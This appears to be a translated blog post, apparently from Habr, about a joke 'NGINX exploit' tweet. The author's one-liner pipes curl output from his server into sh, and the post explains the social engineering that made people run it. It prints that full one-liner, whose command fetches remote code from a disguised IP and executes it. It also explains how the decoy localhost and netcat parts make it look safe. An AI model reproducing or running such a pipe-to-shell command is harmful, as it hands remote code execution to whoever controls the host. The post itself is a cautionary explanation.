Bilješka. prev.:
TL;DR: Ni pod kojim okolnostima ne koristite cjevovod datoteke u sh ili bash. Ovo je sjajan način da izgubite kontrolu nad svojim računalom.
Želim s vama podijeliti kratku priču o komičnom PoC exploit-u koji je nastao 31. svibnja. Pojavio se odmah kao odgovor na vijest iz
Nakon što sam završio s radom na novoj tehnici maskiranja u curlu, citirao sam izvorni tweet i "procurio radni PoC" koji se sastoji od jednog retka koda koji navodno iskorištava otkrivenu ranjivost. Naravno, to je bila potpuna besmislica. Pretpostavio sam da ću odmah biti razotkriven i da ću u najboljem slučaju dobiti nekoliko retweetova (dobro).
Međutim, nisam mogao zamisliti što se zatim dogodilo. Popularnost mog tweeta naglo je porasla. Iznenađujuće, u ovom trenutku (15:00 po moskovskom vremenu, 1. lipnja) malo je ljudi shvatilo da je ovo lažnjak. Mnogi ga ljudi retvitaju bez da su ga uopće provjerili (a kamoli da se dive lijepoj ASCII grafici koju ispisuje).
Pogledajte samo kako je lijep!
Iako su sve ove petlje i boje sjajne, jasno je da su ljudi morali pokrenuti kod na svom računalu da bi ih vidjeli. Srećom, preglednici rade na isti način, a u kombinaciji s činjenicom da zapravo nisam želio upasti u pravne probleme, kod zakopan na mojoj web stranici samo je upućivao pozive bez pokušaja instaliranja ili izvršavanja bilo kakvog dodatnog koda.
Mala digresija:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Socio-elektronički inženjering (SEE) - više od pukog krađe identiteta
Sigurnost i familijarnost bili su glavni dio ovog eksperimenta. Mislim da su oni doveli do njegovog uspjeha. Naredbeni redak jasno je implicirao sigurnost pozivajući se na "127.0.0.1" (dobro poznati lokalni host). Localhost se smatra sigurnim i podaci na njemu nikada ne napuštaju vaše računalo.
Poznavanje je bila druga ključna SEE komponenta eksperimenta. Budući da su ciljanu publiku primarno činili ljudi koji su upoznati s osnovama računalne sigurnosti, bilo je važno kreirati kod tako da se njegovi dijelovi čine poznatim i poznatim (a time i sigurnim). Posuđivanje elemenata starih koncepata exploita i njihovo kombiniranje na neobičan način pokazalo se vrlo uspješnim.
Ispod je detaljna analiza jednolinijskog teksta. Sve na ovoj listi nosi kozmetičke prirode, a za njegov stvarni rad nije potrebno praktički ništa.
Koje su komponente zaista potrebne? Ovaj -gsS
, -O 0x0238f06a
, |sh
i sam web poslužitelj. Web poslužitelj nije sadržavao nikakve zlonamjerne upute, već je jednostavno posluživao ASCII grafiku pomoću naredbi echo
u skripti sadržanoj u index.html
. Kada je korisnik ušao u red sa |sh
u sredini, index.html
učitano i izvršeno. Srećom, skrbnici web servera nisu imali zle namjere.
-
../../../%00
— predstavlja izlazak iz okvira imenika; -
ngx_stream_module.so
— put do nasumičnog NGINX modula; -
/bin/sh%00<'protocol:TCP'
- navodno pokrećemo/bin/sh
na ciljnom stroju i preusmjerite izlaz na TCP kanal; -
-O 0x0238f06a#PLToffset
- tajni sastojak, dopunjen#PLToffset
, izgledati kao memorijski offset nekako sadržan u PLT-u; -
|sh;
- još jedan važan fragment. Trebali smo preusmjeriti izlaz na sh/bash kako bismo izvršili kod koji dolazi s napadačkog web poslužitelja koji se nalazi na0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- lutka na koju se odnosi netcat/dev/tcp/localhost
tako da sve opet izgleda sigurno. Zapravo, ne radi ništa i uključen je u liniju za ljepotu.
Ovime se završava dekodiranje jednolinijske skripte i rasprava o aspektima "društveno-elektroničkog inženjeringa" (zamršeni phishing).
Konfiguracija web poslužitelja i protumjere
Budući da su velika većina mojih pretplatnika infosec/hakeri, odlučio sam učiniti web poslužitelj malo otpornijim na izraze "interesa" s njihove strane, samo kako bi dečki imali što raditi (i bilo bi zabavno postaviti). Neću ovdje nabrajati sve zamke jer je eksperiment još u tijeku, ali evo nekoliko stvari koje poslužitelj radi:
- Aktivno prati pokušaje distribucije na određenim društvenim mrežama i zamjenjuje razne preview sličice kako bi potaknuo korisnika da klikne na link.
- Preusmjerava Chrome/Mozilla/Safari/itd na promotivni video Thugcrowd umjesto prikazivanja skripte ljuske.
- Prati OČITE znakove upada/očitog hakiranja, a zatim počinje preusmjeravati zahtjeve na NSA poslužitelje (ha!).
- Instalira Trojan, kao i BIOS rootkit, na sva računala čiji korisnici posjećuju host iz običnog preglednika (šalim se!).
Mali dio antimera
U ovom slučaju, moj jedini cilj je bio savladati neke od značajki Apachea - posebno, super pravila za preusmjeravanje zahtjeva - i pomislio sam: zašto ne?
NGINX eksploatacija (stvarno!)
Pretplatite se na
Izvor: www.habr.com